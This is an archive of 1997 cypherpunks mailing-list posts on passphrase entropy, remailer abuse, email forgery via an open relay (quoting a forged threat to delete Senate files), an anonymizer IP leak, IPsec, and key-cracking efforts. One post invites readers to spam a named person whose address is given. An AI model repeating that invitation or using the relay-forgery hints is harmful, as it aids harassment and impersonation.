I am wanting to learn how to generate a passphrase that is at least as 
strong as the IDEA algorithm.  I have looked several other places on the 
web for an answer to this, but they all had different things to say that 
didn't add up (no pun intended :).
The IDEA algorithm it seems is 2^128 =  3.402823669209e+38 = 16 bytes 
(charactors).
The charactor count seems kinda small (I am presuming the 16 charactors are 
truely random).
Indeed, 128(ASCII charactor set)^16 =  5.192296858535e+33.
Is my thinking right here?
Is it better to do this- 94(printable ASCII set)^20 =  2.901062411315e+39, 
yielding 20 charactors?

Also, if you come up with a phrase and put enough (perhaps 5 or 6) ASCII 
nonsense in there for it not to be in any crack dictionaries, how random is 
that?  Is it only as random as the extra charactors you put in?  How would 
you calculate that?

Also, how many charactors do you have to add of a set to add its 
permulations (i.e. Does gibber&sh add all ASCII symbols to the equation)?

Thanks, Internaut






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@as-node.jena.thur.de>
Date: Tue, 11 Feb 1997 06:25:57 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111425.GAA19706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@as-node.jena.thur.de>
Date: Tue, 11 Feb 1997 06:11:07 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111411.GAA19235@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@as-node.jena.thur.de>
Date: Tue, 11 Feb 1997 06:11:03 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111411.GAA19227@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 11 Feb 1997 06:27:10 -0800 (PST)
To: zinc <cypherpunks@toad.com>
Subject: Re: lead remailer is shut down
Message-ID: <199702111427.GAA19963@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:0339 zinc <zinc@zifi.genetics.utah.edu> said:

+i came in today to find they (university system admins) had pulled the
+plug on my machine.  this is all because some luser spammed usenet
+using the remailer on my machine.  thanks a lot.

+so, the lead remailer is gone for good; it lasted almost exactly one
+year. 

    that is the universal problem.  we make the remailer chains so they 
    guarantee privacy, but we cannot filter for spam...

    unless it is the last mixmaster in the chain.  it sounds like we
    need a postprocessor which can 

    1)  contain addresses and domain numbers of known spammers; 

    2)  log senders to obtain a usage profile (over a very short time, 
        and that is itself encrypted) which can spot enormous expansion 
        headers.  for instance, linda thompson is accusing a cypherpunk 
        [more like a cypherpunk hater] of faking her address on 
        threatening material to all 100 senators plus Al Bore; 

        interestingly, the perpetrator left enough information in the
        header, which was returned for addressing Al Bore incorrectly, 
        to be able to narrow the field; and,

    3)  most spamming seems to follow a pattern which it should be
        possible to scan for. the problem, of course, being that 
        "innocent" messages will potentially be trashed.

    whatever it takes, there are a finite number of sites which can host 
    remailer traffic.

    for instance, I have been debating whether or not we can afford the 
    load on our single T1 which is currently supporting 200 simultaneous 
    ppp connections plus some high-volume commerical web pages. We are 
    at least a year away from T3 due to lack of circuit facilities.

    let's figure a way to stop at least some of the abuse; you can not 
    stop the individual abuse, but does a spammer have any rights?

        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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BQmHM9845OWXazbQVj6Q9+HiV5I+7wGY2INm7i6PI9ebNRptORfCTlHkmMzrwfmj
Ji/WzhDkJ0eRvmDwHxBuq5unqYLe9ACtMrOCGQo+EYywNcscsXKKuMvFKAPC/Bp8
M46FHO9AphM=
=NEYd
-----END PGP SIGNATURE-----
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Tue, 11 Feb 1997 06:26:08 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Taking advantage of Newt's phone calls
Message-ID: <199702111426.GAA19746@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

It seems like Sprint's taking advantage of the tap on Newt's little
call there by advertising how Sprint Spectrum is private and no one
can listen in, with little "signal" graphics going from one SS phone
to another in DC...  Cute...

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMv4NVCKEMrE5tbrdAQFIpgQAsS87dmofyalpLJMJjIRk71KmZheEbhnJ
WNvCO2fvvxP5aURbeh/MwVV7KOL0hcISPVWoFXrP9HmWSuhc3X7TRCQKVGESTOzS
9z2TaTF8hcAV8PFN3CCReBU5p/6OUBLN85pMbgyk818hAMf9LRhnroauSzQlXtGz
iAhkvhlnBUg=
=eAZ+
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 11 Feb 1997 06:29:22 -0800 (PST)
To: lindat@iquest.net
Subject: Email forgery
Message-ID: <199702111429.GAA20054@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This is a very strange forgery.  It appears that the attacker used
fcaglp.fcaglp.unlp.edu.ar as a relay.  This machine is running an old version
of HP sendmail that apparently accepts any hostname the user enters after
"helo".  I tried sending myself fakemail using this site but haven't got a
response yet.  The interesting thing is that the attacker used the hostname
echotech.com and not iquest.net.  echotech.com is a real domain so the attacker
might have been dumb enough to connect from echotech.com and enter the real
origin.  Or the SMTP server might just pretend it's fooled and put the real
hostname in the received header regardless of what's entered after the helo.
I'm not familiar with HP sendmail so I don't know whether this is true or not.

On Sun, 9 Feb 1997, Bovine Remailer wrote:

> Date: Sun, 9 Feb 1997 08:42:45 -0500 (EST)
> From: Bovine Remailer <haystack@holy.cow.net>
> To: cypherpunks@toad.com
>
> NEW ATTACK ON CP LIST
>
>
> >Date: Sun, 9 Feb 1997 03:55:04 -0500
> >From: Linda Thompson <lindat@iquest.net>
> >To: robert@iquest.net
> >Cc: aen-news@aen.org
> >Subject: URGENT
> >
> >Someone is sending THREATS to the President and Senate and using *MY*
> >name
> >and account to do it.  One bounced and was sent to me.  You should be
> >able
> >to find out where it came from by the message I.D.  I think it is
> >EXTREMELY
> >important that you find out where this came from!!
> >
> >Also, earlier in the day, I got a message that I was subscribed by
> >"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
> >would
> >bet that whoever did THAT also sent this message.
> >
> >Here's the threat message:
> >
> >Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
> >Delivered-To: lindat@iquest.net
> >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
> >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
> >  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
> >Received: by fcaglp.fcaglp.unlp.edu.ar
> >	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
> >Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
> >Subject: Returned mail: User unknown
> >To: lindat@iquest.net
> >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
> >Status: U
> >
> >   ----- Transcript of session follows -----
> >550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
> >
> >   ----- Unsent message follows -----
> >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
> >	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
> >Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: lindat@iquest.net
> >Return-Path: <lindat@iquest.net>
[recipient list deleted]
> >Reply-To: lindat@iquest.net
> >Return-Receipt-To: lindat@iquest.net
> >Comment: Authenticated sender is <lindat@iquest.net>
> >Subject: message to USSA Senate
> >
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.



Mark
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w/ifDrqeQhFWXtNC64iRFJm7EEOMDJ56rNVUA8NkKJZstl8ny/7LTFeTDGxf18gL
nQVHJ447I5B0WVQt42F1Gfcmxh3bPjbZXd8TRKSKjhuBfqum8916dlXso1hB3WaC
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1imu97YBiP0EPveEdD5yIlH23rZRbCJ9RmDrZruCY2ldG1wJh3+6Jg==
=psFL
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 11 Feb 1997 06:27:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANON: anonymizer.com thru proxy server is bad news
Message-ID: <199702111427.GAA19968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: jmccorm@galstar.com (Josh McCormick)
Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.browsers.misc,alt.2600,ok.general
Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com"
Date: 9 Feb 1997 19:25:46 GMT
Lines: 43
Message-ID: <5dl8bq$6h3@mercury.galstar.com>

THE CLAIM:
> Our "anonymizer" service allows you to surf the web without
> revealing any personal information.

THE PROBLEM:
> If you access The Anonymizer through a proxy server, it may add a 
> variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter 
> out, revealing your true identity.

THE DATA:
> Below is a printout of the variables from an "anonymous" session done 
> through The Anonymizer when accessed through the Squid proxy server.

REMOTE_HOST=darkmatter.infonex.com
REMOTE_ADDR=206.170.114.24
HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!)
HTTP_HOST=sol.infonex.com:8080
HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.83.41
HTTP_PRAGMA=no-cache
HTTP_PROXY_CONNECTION=Keep-Alive

THE RESULT:
> A CGI script could see that you were using The Anonymizer to hide 
> yourself, but your true IP address is revealed in the "HTTP_FORWARDED" 
> string.

THE SUMMARY:
> Beware using an anonymous browsing service if you are going through a 
> proxy server. Until they remove the information provided by proxy 
> servers, using their service isn't as anonymous as they say.

THE QUOTE:
> (from The Anonymizer home page) "Many people surf the web under the
> illusion that their actions are private and anonymous. Unfortunately, it
> isn't so." 

=====================================================================
== Josh McCormick             Galaxy Star Systems                  ==
== jmccorm@galstar.com        Providing Quality Internet Access    ==
== Systems Administrator      WWW: http://www.galstar.com/~jmccorm ==
=====================================================================

--
http://yakko.cs.wmich.edu/~frogfarm/  ...for the best in unapproved information
 "Would I had phrases that are not known, utterances that are strange, in new
 language that has not been used, free from repetition, not an utterance which
 has grown stale, which men of old have spoken."  - inscribed on Egyptian tomb 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 06:26:32 -0800 (PST)
To: unde0275@frank.mtsu.edu>
Subject: Re: Passphrase generation
Message-ID: <199702111426.GAA19838@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Internaut <unde0275@frank.mtsu.edu> writes:
> Hi,
> I am wanting to learn how to generate a passphrase that is at least as 
> strong as the IDEA algorithm.  I have looked several other places on the 
> web for an answer to this, but they all had different things to say that 
> didn't add up (no pun intended :).

Chech out the cannonical passphrase FAQ:
http://www.stack.nl/~galactus/remailers/passphrase-faq.html

This one has some quick reminders of what to do and not to do
http://www.encryption.com/pphrase.htm

Bottom line, totally random ASCII will have lots of bits per
character, but english has about 1.2 bits per character. Misspellings
can add to that, depending on the extent of mutillation . Combining
certain words can make your passphrase weaker (such as "To be or not
to be," "This is my passphrase," etc.).

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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EPmo02rXsN4gslmVpV9+k7sRTOvuZ+vCYvNQL+knaMz4QiNsz8FUleUqo3v5Nx1w
7pJjcWK1wvKe9Y6ky6PXnAECRZ73gVuj
=P1Zh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Tue, 11 Feb 1997 06:26:39 -0800 (PST)
To: rodney@sabletech.com
Subject: Re: question on setting up for ipsec/linux
Message-ID: <199702111426.GAA19858@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm away from Greece until the end of february. Some questions I may be
able to answer, but I don't have the ipsec code with me, nor do I have
a setup where I can test things. Here are some tips that may help you though.

* The code has been tested under 2.0.27 and 2.0.28. It will probably run
on kernels down to 2.0.24. It will not even load with 2.1.x. 

* Only "tunnel mode" works. I'm waiting for a few more chances to occur
to the 2.1.x routing code before I move the IPSEC code to 2.1.x and 
implement transport mode.

* While not reflectedected in the (excuse for) documentation, I *have*
tested all the modes for all the transforms. Of course, I may have 
interpreted the I-Ds in the wrong way, but I don't think so. The following
transforms are supported:

	ah md5
	esp des (with 32 and 64 bit IVs)
	ah hmac-md5
	ah hmac-sha-1
	esp des-md5
	esp 3des-md5

Please not that the des-md5 and 3des-md5 have this weird concept of the Initiator
and Responder. Since we're still doing manual keying anyway, it doesn't
matter much wich side is which, and it doesn't even matter which if both
sides are Is or Rs. The information is onlyl used to derive the
encryption and authentication keys, the IV and the counter, from the
(hopefully) negotiated shared secret. If all else fails, set both sides to
be Initiators, and this way you won't have to think about which "setsa"
lines get an r and which get an i.

I'll try to write up som e more docs when I'm back in Athens, but if
someone else from Europe could do it, it would be good.

/ji





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Tue, 11 Feb 1997 06:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ann: Encrypted disks for Windows NT (fwd)
Message-ID: <199702111426.GAA19816@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone seen this here?  I wasn't sure if it had been posted, so I thought
I'd pass it on.  I have not looked at the software yet...


Rich

---------- Forwarded message ----------
Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST)
From: softwinter@post1.com
To: richieb@teleport.com
Subject: Ann: Encrypted disks for Windows NT

Soft Winter Corporation, February 10, 1997 released:
Shade - strong encryption software for Windows NT.

Shade allows you to create encrypted disk device inside a file.
Such a device can then be formatted using any file system
(like NTFS or FAT) and used as a regular disk. The only difference
is that Shade will encrypt the data on every write operation
and decrypt it on every read operation.

To download  go to: http://softwinter.bitbucket.co.il

Soft Winter Corporation,
softwinter@post1.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Tue, 11 Feb 1997 06:27:36 -0800 (PST)
To: victor.volkman@hal9k.com
Subject: LInteger Version 0.2: A C++ MPILIB
Message-ID: <199702111427.GAA20016@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

LInteger is a set of C++ libraries supporting multiple precision integers.
Also included are libraries supporting chain hash functions and
pseudo-random number generators.

The core multiple precision methods are coded in i386+ assembly language
for high speed. The libraries will only compile under GNU's g++ compiler,
and have only been tested under the Linux and Windows NT operating systems.
It is anticipated that there should not be any problems compiling under
Windows '95, however, and that compiling for OS/2 will only require minor
hacking, if any.

Included as a sample chain hash function is an i386+ assembly
implementation of the Secure Hash Algorithm (FIPS 180-1).  Included as a
sample pseudo-random number generator is an implementation of a
pseudo-random number generator described in Section 3.1 of FIPS 186 (the
Digital Signature Standard).

Complete HTML documentation is provided for all public and protected
methods.  The package is free for both commercial and non-commercial use.

Some of the improvements of this release over version 0.1 include:

 - Pseudo-random number generation. 
 - Probable prime generation. 
 - Easier constructors. 
 - MontyRep and ResidueClass classes. 
 - ASCII I/O in bases 1 to 36. 
 - Overloading of fstreams operators for storage on persistent media. 
 - Easier exponentiation. 
 - Pentium optimizations for multiplication and squaring. 
 - A square root function (by special request). 
 - 8+3 filenames (by special request). 
 - Various bug fixes and speed improvements (and some slowdowns! :) ) 

The package is available for download at

 http://www.interchg.ubc.ca/janke/linteger.html

The hashes for version 0.2 are

MD5:        61f027957065b88a690def3557956d34 
RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 
SHA0:       b8e65d49ae0ae3ab26741030c8ca03137e16b493 
SHA1:       c46317ad7e3a9ff38092269b21513dbf68c0e3ef 
RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 06:27:24 -0800 (PST)
Subject: Re: Who's ahead: NSA or the private sector?
Message-ID: <199702111427.GAA19998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


That's not really a meaningful question.
We can write codes they can't crack.  They can write codes we can't
crack.
The cats are out of the bag, and David Aaron can't herd them back in.

In some sense, the NSA is ahead of academia, because academia publishes,
so they can read everything the Good Guys have done (less six months
waiting to get published in journals :-), while the NSA seldom
publishes.
(There are also corporations doing non-published crypto work,
but not much - they also see the value of open system review.
And the KGB may have been good as well, but they're not in our face,
and we can write codes the Russians and French can't crack either.)
The NSA has almost certainly done more work on analyzing obscure Russian
cryptosystems, but who knows how much of that is just brute force.

But the real problems these days are engineering, not science*,
so it's probably worth spotting them a few bits of keyspace just in
case.
The NSA is better able to come up with a few million dollars to build
custom key-cracking hardware than industry is, so we have to presume
they can do at least as well as a Wiener machine for cracking DES;
they're certainly better at eavesdropping on calls than we are.
I don't know if we can coordinate more workstations for a distributed
crack,
but they _could_ issue the FedCast Secure Screen Saver for all federal
PCs;
the only question is how much time would it spend cracking keys and
how much grepping for suspicious files :-)  There may still be radical 
changes in factoring technology, especially as computers get faster,
but I doubt they'll do more in practice than force us to use longer
keys,
unless someone proves P=NP in the far mythical future or proves that
factoring is in or near P.

The interesting questions are at the boundaries of strong crypto
and weak crypto - 40 bits is a nasty joke, DES is still interesting
for things that don't have too much money riding on them,
Skipjack is probably strong enough for a few years unless there's a 
second back door next to the one with the big "Cops Only" neon sign.
How strong can we make something and still get export permission?
Do we care?  What are the threat models for different "Key Recovery"
scams,
and are we willing to write deliberatlely weak code to collaborate?
Are the non-RSA public key systems good enough until the patent expires?

There are some boundary problems that are interesting for non-political
reasons - now that every toaster and digital wristwatch has an IP
address
and a few KB of RAM, what kind of useful crypto will fit in them?

Key distribution is still interesting - how do you make a system that's
convenient enough to use and secure enough to work?  And distributed
cracking systems are interesting, though the main uses for them are
for cracking known-weak cryptosystems.

Then there's the field of secure databases, which I think has both
practical potential and scientific merit - how do you mix data together
without leaking the secure stuff to unauthorized users, either directly
or through combining lots of non-privileged data.

[*Borrowing from Matt Blaze gratefully acknowledged.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Tue, 11 Feb 1997 06:44:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702111444.GAA20488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 10 Feb 97 6:46:24 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             **-#+*#*#*##     1:59 100.00%
jam      remailer@cypherpunks.ca                ******     8:22  99.98%
wazoo    remailer@wazoo.com                     *+++++    33:48  99.97%
weasel   config@weasel.owl.de             ++++++-++++   1:05:51  99.84%
lucifer  lucifer@dhp.com                  ++++++++++++    37:45  99.78%
dustbin  dustman@athensnet.com            ----+-- .+++  2:42:13  99.65%
balls    remailer@huge.cajones.com        +-- **### *#     2:12  99.60%
cyber    alias@alias.cyberpass.net        ++*+++*** *+    30:13  99.59%
haystack haystack@holy.cow.net             *#-+###*##*     4:06  99.42%
squirrel mix@squirrel.owl.de              ++ +++-+ ++   1:05:29  99.26%
exon     remailer@remailer.nl.com         #* * ##  **#     1:21  99.18%
middle   middleman@jpunix.com              ---+-. +++   2:51:34  98.78%
replay   remailer@replay.com              +-***+*---+*    27:45  98.57%
extropia remail@miron.vip.best.com         .- -------   4:46:55  98.08%
reno     middleman@cyberpass.net            --+-  .++   1:27:14  96.63%
mix      mixmaster@remail.obscura.com     +_ __.-*+    22:42:38  93.53%
winsock  winsock@rigel.cyberpass.net      ----.---   +  5:48:14  75.89%
shaman   mix@mix.nymserver.com                             2:46   9.00%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 06:26:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: HIC_rim
Message-ID: <199702111426.GAA19761@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97 NYT has Page One lead on high resolution commercial
"spy satellites," and the welter of political, social, economic and 
national security consequences as foreign governments,  
corporations and individuals hire them to invade privacy, secret 
sites and labs.

A nearby story reports on organized crime's shift to new industries,
especially those reliant on high technology: calling cards, stock
offerings and health care.

-----

HIC_rim







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 11 Feb 1997 06:42:02 -0800 (PST)
To: cypherpunks mailing list <jeremym@r56h159.res.gatech.edu>
Subject: Modified Clipper chip - HA!
Message-ID: <199702111442.GAA20272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For all of you who didn't see the last X-Files ...
Mulder made a visit to The Lone Gunman about breaking into some
impenetrable system.
Byers points out that "Yeah, that system is pretty hard to get into."
Mulder then inquires "well how did you guys get in?".
Byers replies cooly: "We used a modified Clipper chip we bought back from
the Chinese."
I didn't stop laughing for 5 minutes ... :)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"Women. You can't live with 'em. . . and yet they're everywhere."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 11 Feb 1997 06:42:24 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: You guys/gals oughta get a kick outta this guy
Message-ID: <199702111442.GAA20312@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another person who needs a good stern talking to by the nearest
cypherpunk --- this guy posted to comp.lang.perl.misc with the following
blasphemy, which I luaghed at until I had tears in my eyes.
--BEGIN COMPLETE STUPIDITY--
I want to make it executable to protect the source code from being read. I
don't want the source code available because I don't want people looking
for security holes.
--END COMPLETE STUPIDITY--

If anyone wants to spam this guy, or at least show him the error of his
ways, his sig explains the necessary info:

David K.
djk490s@nic.smsu.edu


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If the ionization rate is constant for all ectoplasmic entities, we could
really bust some heads! In a spiritual sense, of course.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Koenig <ig25@mvmap66.ciw.uni-karlsruhe.de>
Date: Tue, 11 Feb 1997 06:27:05 -0800 (PST)
To: challenge <challenge@list.ee.ethz.ch>
Subject: What's next?
Message-ID: <199702111427.GAA19940@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Now that we appear to be at a sustainable 300 MK/sec (which I could
hardly believe at first :-), is there any chance we could be attacking
the 56-bit DES key next?

DES is rumoured to be faster than RC5; also, there are likely to
be optimized assembler versions out there already.

We could also make better use of 64-bit architectures, since DES
uses 64-bit blocks.

However (and this is a very big however), that's still a keyspace of
